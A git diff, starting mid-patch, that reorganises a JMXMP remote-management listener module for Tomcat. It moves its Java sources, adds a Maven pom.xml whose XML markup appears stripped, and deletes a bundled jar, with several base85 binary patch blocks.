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 diff --git a/.docker/resources/src/jmxmp/README.md b/.docker/resources/jmxmp/README.md similarity index 100% rename from .docker/resources/src/jmxmp/README.md rename to .docker/resources/jmxmp/README.md diff --git a/.docker/resources/jmxmp/pom.xml b/.docker/resources/jmxmp/pom.xml new file mode 100644 index 0000000..9d2d903 --- /dev/null +++ b/.docker/resources/jmxmp/pom.xml @@ -0,0 +1,74 @@ + + + + 4.0.0 + + javax.management.remote.extension + jmxmp + 1.0.0 + jmxmp + jmxmp listener for tomcat + + + UTF-8 + 1.8 + 1.8 + + + + + src + + + src + + **/*.java + + + + + + + maven-compiler-plugin + 3.7.0 + + 1.8 + 1.8 + + + + + maven-assembly-plugin + + + package + + single + + + + + + jar-with-dependencies + + + + + + + + + + org.apache.tomcat + tomcat-catalina + provided + 9.0.37 + + + + org.glassfish.external + opendmk_jmxremote_optional_jar + 1.0-b01-ea + + + diff --git a/.docker/resources/src/jmxmp/src/com/LICENSE b/.docker/resources/jmxmp/src/com/LICENSE similarity index 100% rename from .docker/resources/src/jmxmp/src/com/LICENSE rename to .docker/resources/jmxmp/src/com/LICENSE diff --git a/.docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/AuthenticateCallback.java b/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/AuthenticateCallback.java similarity index 100% rename from .docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/AuthenticateCallback.java rename to .docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/AuthenticateCallback.java diff --git a/.docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/Provider.java b/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/Provider.java similarity index 100% rename from .docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/Provider.java rename to .docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/Provider.java diff --git a/.docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/callbacks/AuthenticationCallBackHandler.java b/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/callbacks/AuthenticationCallBackHandler.java similarity index 100% rename from .docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/callbacks/AuthenticationCallBackHandler.java rename to .docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/callbacks/AuthenticationCallBackHandler.java diff --git a/.docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/plain/PlainServer.java b/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/PlainServer.java similarity index 100% rename from .docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/plain/PlainServer.java rename to .docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/PlainServer.java diff --git a/.docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/plain/ServerFactoryImpl.java b/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/ServerFactoryImpl.java similarity index 100% rename from .docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/plain/ServerFactoryImpl.java rename to .docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/plain/ServerFactoryImpl.java diff --git a/.docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/util/PolicyUtils.java b/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/util/PolicyUtils.java similarity index 100% rename from .docker/resources/src/jmxmp/src/com/sun/jdmk/security/sasl/util/PolicyUtils.java rename to .docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/util/PolicyUtils.java diff --git a/.docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPLifecycleListener.java similarity index 100% rename from .docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPLifecycleListener.java rename to .docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPLifecycleListener.java diff --git a/.docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSaslCramLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslCramLifecycleListener.java similarity index 100% rename from .docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSaslCramLifecycleListener.java rename to .docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslCramLifecycleListener.java diff --git a/.docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSaslDigestLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslDigestLifecycleListener.java similarity index 100% rename from .docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSaslDigestLifecycleListener.java rename to .docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslDigestLifecycleListener.java diff --git a/.docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSaslLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslLifecycleListener.java similarity index 100% rename from .docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSaslLifecycleListener.java rename to .docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslLifecycleListener.java diff --git a/.docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSaslNtlmLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslNtlmLifecycleListener.java similarity index 100% rename from .docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSaslNtlmLifecycleListener.java rename to .docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslNtlmLifecycleListener.java diff --git a/.docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSslLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSslLifecycleListener.java similarity index 100% rename from .docker/resources/src/jmxmp/src/javax/management/remote/extension/JMXMPSslLifecycleListener.java rename to .docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSslLifecycleListener.java diff --git a/.docker/resources/jmxremote-optional.jar b/.docker/resources/jmxremote-optional.jar deleted file mode 100644 index 45a0c4550fdb1347f4f833a7e1d1834ed8485239..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 524734 zcmd?S34EQ`S?7P=YuQ)6ma`~J>m+U7xJkXq@{-+7(#W!GE79UgavXO{uca&d#*(gj zujGZTwCqbuDP>97${P4X2MW|_8lWjJ57X#d~ebI!ZmMT#A_ zF#pe_weI%5=RD`xpXWU1d5=E2rmN)i-@D)OhW+*?{8{h1-00BMz|P^ZL%Tlx3(g%) zFa3Hh{jtBg_MiVGa!&uQ=a%%+(SfnyLqn5O{iBCQ%L~=nN@Ho~W0iWNT3gr`@9E#Y zu{5xd`(|LVJbk(n^Bq6l+rMXHX|P@?FI8rC9=O2uclGbtd2;vOo%ipJw+<{W&Q;>! zh3Won8%qbPjiq|^mn(c)tV~yDtJ7r-w{xnxG{>cnj6S|~YIIvXQJJqT z0pii&)(e~0)jY^!m4%sFeP2AeybzC8r|Y%Gg~n24zR_nZ*jO5#XEpPcg{7uBTNcvS z0f=~FxQ~Sj((>HKQXC&GPoF8Dsx;chOu?&xmYMl8J3&9#+_SS%j`!}~eSiO+-Tiy- zdt%SM`|i4H-<@|qarEF+hcQ-JhR~X^#SNPtZ{nbr<=J9n=ub zH-A&3Qa@Xrt~7GjU*9rG7uQ46Rj%j`S2UIvR=KJtch!^g=U2J%x|S>J#vZHOaC7Gy zPE{5v_3HF0HwuATn;;iVVW!&RQtqZ!tj8Keo>}u!qPj{!5u34oGjvqZS zF?{&Q)XvZDf2Go3ZSg|Adg}C2{DV^4_jWKTW>fm&_^v&7?~cbROXq6!Gx1=xK0R0A z+jz2!nTZGI%Jp(zTpBFTRcCAUg=#sz|L)y)-_;i%>!0i&=#K~H=3<+u5!Wlyy_K2% zQmL~6i%*vuu@uVO9ENwfJQu_FiXJSB%PcJPk?%TEN+_`i8Xy$%t==3r{WW#0Sm1kzE-dM-kaLgu~EcEz$<1*e& za6p(Y;KpFEG5Mm#s_JoRy0*N4>r-h!8~gom?JR0t2#P1fCXIM!Jcyf9sZUp-OQSZs zbgo>l^uq|bOP3*VBj)?Kv3$~;C+JiXK~^AmV+laY^%+nxU0DFVe z8WcTSmBZICY--Fy0~2;t73dnva^wVW1DIHZNTsh+Fp?QCSM&awsnga11FbG9-EAI`)lFF?gA;2OgSTdWIVXkVRCTVKPUHLiFB4XKyvLbWfRtifqjyf(bS zK8ehz{%zL4Dz*EG zZH(ZVAjbp8#)cmk`pQkir!#k8rIsOBYUMm~(5Qks`%coAqkMELOEtXm= zFI?!0N0y`(j3SBbGC!U*Y$y?t2u#=D(HgqJ2w`kGbbhf`Ut$>hC7vsv^Jo+yPa<~- z{Y_uMG8KQl5LcbITkRHMq-6zg(bzJoPAVauuQnRE4Cp!Hig_ezEan-yD&`n=5I~5o-t((T5b`*^1oFVg>FUWU znnKbRR?PJXieC*fmeQ_y$%Z3zW4V5+X57N1hzOtoQCywT`&p??)Qc%>k93-sK!4)1~SW7mA#s- z)gkE%qKveR*QGPd)us3?%T);8SYkG;BgC`|rYkw)SQ^T#W3?h#s4T@?(XgR%){!q? z98%^kEmoG#YGt0EFcmRcGOjIS$j}#JAO4)IqjO~<CX-DSp z3l{6>5ur_p(&rkq5UOTgFf+9XhA>a|GdxrmT}m%*uON*~m81Y7H<_!v%z+f{S*kFri4XZZehPd}d1%#?5w#sh4rU z{LG-nMu(dqoTuC>V`yYESkqOcrc^oa?U*@3!fa>TH5j~3^iQK?!WWXz8UAJC@jfxN428tVfO`MY zAWUqkeboov;7D&^{6&_%z?H_8vsE^sLDQi(^JFODjsULIgvTaiM*4$=O-bwVX`f>lq3eRz0rDPMI;sbGA*ePUT9CP}oIhP& zZY<$=aRt0*TGOZuWy~Zm2;-*vXN8ZrhL0@ezr_@BJt&tL)>tGS^SWcY%DoJziz@MK z`A?ZDU|Wbz@l5=Lh&AC%2r!>cwohzh6i?D{0TQE3U1Fku2KF(?b7GT2gIGM38 zg8L`A@yygTyJw>oJjik&TX=O|bv71XP^uO-Ga)a{ydV$d1#s-)s-A+SEBJBtbB<{~ z`;JL-7W23Ndg?{-fAl;Bw*PY~Se{-yIvg9i_e>^yvQ7j!h25TQ%;s$KW67 zFmk@72e0J6QfW_re6WJburOAJa!)^BZ8lF{Dfn7_b3AWhQH5l_G1%Gaj8=r}Yx1O6 zjL>=7Qu}hSNn7)uF@r{c?UW_JCACWgH(~fFd4eP<@2B0{JZ&5nnM`j3)aFm3-AsQo zhQ1mnsliuse$vSh5BI_8RRC<7MFD_?ETl`sseXC!*6J*-@r7-Deh7s)8o2q^d4fG3 zcCu8n;+Ce!4`jHz(-wioVWtF_WCdHx+nPX5FX$64x1QYQ0ce`o|1|Ay#LLJpU+g2- zL!Q%uvJIVa5i5yeyw-Ga%QQq@M&RkPB6iE2Fr=2pp1ko= znY=)PJDOg}=L#&5?-v?c2* z$Ch?Gce;uYcsekC+e#DWZ^f9W!8B{MXzi3`bv!d_NtO$dRJ4I}ufXv+nFJKOCQX|O zW%s2QqBB2=7+#^@daE6uRqYw5vGb080z#7%z{qel`VKm=riJXnKG}sFM70Em#B68^q!jbQx)%RM7npL7a@+_Q=*9wLGv= z=+*f~0+h$Fh#F7phpmlmeaP;)xOQ&AqeV^Y@Bg?sy!d(G$H@PN8$42pg4Q#>#mm!W+_aL8lnC{qBJlId?(7+1xq( zljz%E@?oEx6^IW3Ol~f6bbSHLup}>k9uSYJ6n&Qe6y1UpC23N#<9z9vF;K(gtTyMt zWA*)E7y+=jOt#1pmcc5_q+S}(ggaZQyjVL&bdXTPf-s>zi3&{dPZO0$V3gNTlxF@I z`y*MZ8yzM(B`7w0XXXILv)Ri&Tbe3|#ECHhsW(nn7p0uE?Ggr(%}1BbvWr9vLyBc7 z-g@`$JGLb{3^}oF2obDt8g8>>?MZgh@e}a|!Z4D*ba>+@PYA>S83@81AC{q$U%6NA z>=dhQ^C|o_0q27?yb9q$3WF?iEM}CUXXBW&;DXG}>^w)lxG%2PE|lk%F6^8o z{Vc__urp2cCozUuJShOrbe%y7Vzbq!-Hk>;*}ypIPD5}_19}q$)CRgS80-aj6$>?| zd23pPtp#>?7U#+r67~cWatI0SmQT(lyH049bR)Sdv!P11o}uTs2C zcGc9vE`BAPmi0_HN;W&^^X(5BSvt<6uE|0`)7d&q3a8jUl(ga*KKBt{h<6#k!Op3@ z4UR~=BWjqEliJ5->shZ@H2|L%>xdQz0W%DfHxIShSu7t|Bkd~>4a1?;q#|f2MrkAx z)rPyUU}@Vn+({6&5@<+P0zDeu#CR1Rc)t-NQDQ2^NoEBw3l#tZX4X+l+&cUrPr$H zT6AU_M4P@v-F}wzXr82<^;V)nEojX{;mDO>;-%?#3%K+XXMdk_WZE8gRA{NYn!(@(z=zzq1bB^%ga zow0L~J_9JF)drTOM9d3GDyx7h?<`97o)^#cZb*;;hLsq(vvug+Px(rU0jz)B)>Oh z3`+_(GS=WyJgdZ2vIr}KZZ%9b!DM3+MpqYACgSsdP$L-GmN~##3yMp~DGK8>kt93> z=-ArYN#*lb9-s4W2&ZXo& zl_vy=F#VKL@pty)<25lcUrwPpo4zxG8}|GLkj+^O2_&)KbmAq#Y=jC)>bn$TrzST& zCA$r%7?M&?@&qX_6LeQ0vVN|Yn&Hsk`WgWIj!?SYMCvXWa~swyYGZj;Sp^0!g$Nij zn1U4{l4KIF`vkQCn{k_A2eF+X=dC2SB8lJ`YsoGAN_`eTN@C1eMSKm;X7Fu^X(d>2 zTy4jtNvU$P;LG3JZ>v(JoeIHJo~<|x>oBL>q_+{F$e7^LM>1lJq<&Gi33#IvoX2vc zX#rO=1-*hu`$|(&=NdG*3y6GN6k=cf#?CT@OdMkYk|lN*;#2I{u$x5Pj^&k=bCR7j zy_E$K#;zSAMngCIO*$kLtc~P&AS=F|vSQMb*A@X2-jiZXRZ$QWYqr2`em|;BWwK;1 zT!b+sl})ydE`~}AQ(;J!FpZ=OIk~!6MBTPzjX)Wvl){=a6|p5@E;(DK{xSkipRNf~ zP-DPbgs)G?Bs)?ib`~lI7LIqht_&Ax71d9%Kc`eN^{8x|p&Q9xR?8=YwaBcA4UA_? z0>#RqGoXadR&?~oM@T2KuDRUs)X)@OaYI3Iafx&s*5Pz{Zq`F99^^OwRibU% z5=F+J&D77SRkKXg?_f-8b7cF`R8|2B&T-g9N7JvX;XrurgaajJ4YzPPLM>@EZ{Gv2 zk0E}v0%#Cc3TU0xHg^Z!lxB&&-N{*XQ>p?qg@JK6Vk2D<6kkW2v;}9_hjQ4Y0`Agk zOKv8+=X5Q|mTMx!)@qZZ0nu~z=rPa13h#BB(K~Y;wD{b`tJ+fIYAZJn^47euDL^~e zeG>erAr+qk7Z8wsJze9QzEaqYfB|JpWE}mtR1lC5lYs~+mQ3z!dxc$M@SPeDECf_w zjOL`SR@NEL#Gf(BC&0;Ea!Z@DG*d%`iu+ZZIFB=m+*(nt@w#-e4U@{;7Rp7fqF*ox zhBmvN=8b}dYET`->}=-S9ob?zJ7E|rI-tI=De^4|EVb%BCPoMTh_IWo>@dh?bYSf7MRv*;T8{8NmUPiMapKg zPwo@>{(z1x9S@w1)mHwXk`6gSFzVhZ@(Iiqb7(v;yFAARyp9h9S!!DtDhP9*C?x3v zvGa&m5B4K5(HL9f$t8TZLa{1RqI;{Mq9l=GPHLb_{ecE)xH_t`EY-4AIp#q?o3rk~dJrTrEX$J4Uv@uhL zujEF?Lz-Yi6Hy)42|}Qgio{^4yv7tMGBX)ow%%}g=yzZYo5;Q(3!$G7Rj-(1L{uko zh$ZZfz-`G*i4siGXIzRnXy8!ul`P4d^iU<02P;Vxvs>1p0+5xQ&kh7BC4vu!j#AJT zG6jByc0Ue!$!i^+92^-K9vzy9#}CEF2PP&4#->j2+u-$CG<%}k?~_w>A0F>VC+Qv z=EIF8IB;NOs4qS=JQW{e+JX4!zywVe zj*W2Q^60UNqvMm@HW81FkExT#1aR>G{*tDlig*}&Obkyx8nfJ~ahv?L#|B1*r%qUX z@zJ3P2BoFPpyuufTM5(&JMoF}WBu_YSQ1c+=I(89v>6RjXydv-@q|=X=3-a6hCUtClN~q^c@qAX34OJ|700|=~P8L732+ay3f<&Pkw?U}( zqvRHAgLj~{P7i3gZJ;aDgf;a8>5AN7mX9{ra>!1K1M`J8NgTpr811m`jLJe6>3M2RcoZ_h>2tnM84gEwOpfDNLTvZjdE-!E< zf%C(&iI&LSpt3(MGBitv%+$;0^dUJgGDn%MS4d=81(_JT1#`J@A_z)HY9-YR%L`Qd zqcKba!a-D3HkO0)Mm-&eZ7J-@njQEhSyY`voGB7~#!FWuiE79V;)h;UD6_S7W>G&x zC(aL|Ww#wK)YxTkU%^L{bBi_gdQ!z5!?HkuY!28i^4L5|@{c5S%ng0-zxUstiS>iK>^_z6`=n zg%BEW+792#a?Dh`kw`RJd0uTbq(M?}RP7XiIJ?G)J;*6Y69I<^!ba3<8)#hx8D`3C1)G zOn{Uk_OoZ?$^n)$Vd;d)$f<@4yx2Vawt(7TJ@d;2Bb-CY99ua+Bf|p+hUH80qxW)f zjs}M(29J$SPRXZ~LzVd8{A3MvCj${B zPA-nc!#VWemK%|d3=j((7}Bp}3N{oz`A~z{WpdbakiHUPOJN8)$Uk1Yt@JHwxWKC60*senJYE$Lx&hki?Vd zX_B9(@K0JZOR^zl9W_Y14RJnuzHhU9P482pcXW}ROu)`iL2}o9@nHX<{)v873Gdz$ zZylc|alGgL`|n1c3H&J`cHp|oT-n+31d+*(O@9sT! zksF}^&O2AR;mM7+44*dEFu%rDWHwSNo<-y8T4e;LB%5jv^X%DM+B!+0QCO0dz-mdd z5au~E z4GOEQq5hrBQt*AVts@`hA!14{X@XL&Z`6cuF@+1EtP~f30SYd(hv+v**=%O|3aL|l z#wo`=tE&N2U+JL!%53@X!WewU&-5LmJlAl-4$nj$wx>Ia1boR0VSb`L$31o z%uPt)Z*{(z?{sC(;x8N$h_^uQZ@Qu)oIbxxl&wAWTZr1ILqc3UmAr@RPhfJ?Unj!K z)G%SI!>(H?H)g%NK3b0Ne_rclr2UBWbw6m?RnVP4h4=`oR+1X zwb`9oL5jQvr5`X`=4;~H;?|pcC;SnIwxJ}UX>e!rQzfXuU#wHeF;}BCtf?<8ywr51 zq9Xi1T-cX@x?IhSiKWmwSFU@1Q$5_anX8rFB zY=5n(mz=i^|I+)fa-p$Bl_H9bsZBUfgD=EQyh8~|a|w+=qH&IvKW4hnDw^f-TD+&m zU?c-bd64@BK;dVY6HPQ4)dd`Bn&cpg@Oijao3XZ0OegWiq4mU8w=5%`SW?ZhPSM`a zn9*-N7?HIVlcp)=s6Sh#?V5&Fv7ZMZbNu;+8k}W74q=wDBf+H3Vus6zO077@1gS}N z_?(KgfS=J)EWX~G@_=@VwATs*d`;342C#jT3(gIb|5CMtUt6}!1{r&(AVh~tZAF~= zvyNx_ExXv3oTyb)VQ2=pP4S)Inm{kxNh)7Q1&*3Go|-B;QC@8Z0@bO*xXR1odL|B- z97jvAOOFl^DAHw8u}OPUBUy{_g>RsMDX_Gl=V^3e4v8ht*K;~qYuq?fo`+aVI`|e3x=QsejIH-lCYhFn2I4mhhD#FaZ$AgG8`s2lX7yg`X^P1#P~qRh=Vt&FVZg<0hf}(SfQlH`Qfo+@nLm_2Fjy$>M>pDR$9euOEx3py|knZzTlph-rz;2v6AkxTL-t{ zS>AVlpZv=`@geEIH2r%BkU0(k2l@u)rMvHsr>J2m=eNEMJN5ymL1}FGfli zjt<1T_wL!VXXlT3djBv#nlI$2}S z+TW$AQtycK_6hrC69N5nC?Fv}m>_$kda^F>c!h;&JEl^e>EC8XUbXaEDw_ocieWy$ zi_Kc9)eubE^FL?qUHObK(S&}a9WH=Aeyb%ooVo-)Q8^C1fT#v$t7#nmX@)8hZP_{w zKIGUgPfem(;PUA}R!P-d!h?BX@iNi|o_8&Lad7a@z#9ypW11yAaSe^@eOhPDly%f+ z%&lr>K(+PVF*^YN2wSHpFqD9W8o>uABLkz@fR8T(3r zG169&jrs~+B=T^wsv0iSM#vAXP))|e6v2Z4Y&f*sIAcKY770^RN2{%3T$|6_=7xEO zxmgfq^$`SGv>V%sgio2b1Y^JVE{ zi?1|hPLpPX`82y+7zoI4>jGY?o@f25F^e=j9gV>Q{ju;;utQRa6DaQ!2{bmX;!EV+NhA zNoa2C%^{r#RURn^AOTM7tI+nO+ACM9^d`wS1NR*#bP|6V0QMCOPEG1%1jYuaSf$ z5^;Jaja&lr%h7t63|qTrlTa|gKyaM2scDU~H8hMSr;n$ah1n9=j87`&Wd_lN2wP4A z+6r(Ck_Ki>6i$1Eb2*9gqSG8n0R*%+!^2!bkqS-Noyron5d9=Q>36Bby+#5R z73b=(z;ROlAgQC0G1-^$#kf`@4Z&eagIj7HW){u^XsA_4H8&>(Z4jX}QgIdUf<)g* z#VbI`2jJ&KBw=#TXa2D~C?>gc8k9;Hzjegk$U*9a2vcoCMbBWcDxY-wMp<-azemRp z4j&>#uWL&sqT4CuHb;UZne%pR^}%6bRo)kA>g#5SFf6uKEE~$XP1ay39zOqM+ol2_h}S zRDECvQAn%sDOytYwj_d6AP5qY44AZXw6pyhOKS>0Y8Va8s;Xy^9jt;4r%Py&2mNIZ6PC>no-`ftE<)O3APohy4j>a;dFHUpfpjX_6>oO6*TBqW zsD!d3lj1W*IGIP#eMq}fLDpy{xkXF|xS{aZXF8Q)$P#OkIAKF%iZ|!y-`sEQZ&cfz zNP+3sB$JIuPJp@y#Il+;A4M%0i+O^1Rbm7q) zNPX?OJ@W+ufpeI&gl=*=J7Z}8tHA2-f#aqy1&shUoa{iJfWszb{Va3`rc!f> z6LHc*0MBJ!K9lZoVxlGw0{mE1WTeQX$JS5hu3@jVQq+TM%grpnTa2tz0cC;&C1*gU z`Pif)lLA27VnFW(ppg(Cn0cB?!`T&(tFE+OqM;>-=8P!a6-Kjc0DHNHO3}=xnd(&5 zDtkl1O;IAez&)Y_bWvwG@W=lb$OcU(4ZcG;t{+K1zlb6Pv!1U!(Txs16!Jr)Qm(!? z3Tg;HyaSgqNe~6mD4enO1qF72W!L;r(j+;5--pl%%2Tp6$%~g@H3XD)0ysaC2K6l< zYCJN4q)F!%7kD>Ac0>$cW}lJ@!t7B`V?PiExiW`dX(FxVPt(JxDKB{B`;0*|+A{_S z3Z$bUXAnnun>GXSKb@zP8j+pmYA z=bI74{icJ_hpX6G&qbt6v}cs2u6E`eUHvJ_>wwoXL`C z#(v90$I4B5-WABwT2exiCcX~zkaqHQv_9J;C1swjZ!ZqglRT8JG{#G6i9OUPTQUe- zw?Bq&um*z3%W%oo2@3@O&*pX)Eq?!I`fJNJ)J+3KiS|6coY6@KD~7y!g)Y3ZPi0H!lB zredM2&3-cjep_377P{4>ii^k9c%7LK+fy}bBjFm^xOq8b8Gp*_%{Md0^BSP&*`C}cwoa*%Ry*;?DZhnnXIkb7VDY_n$_=naL4FHBKq=T% zS6QzY60uI150#jrI$cbHjC3V_ptAayc~S=&uG(?PWTNgJIkhG4lcm6!YhM|J3HAEs zvG@7PY44cp0bOj%Au`IgUEpbPUN7S@vH2$9kZ%TKB#n7}5*9=2g9^Mb>xhDpU+}?! zYH>ijUsDogC`9vZYsHLV2PMT4Y>S=(lcCnE72gS>llVujbe=xB9U1eFR!b)3T*1JT 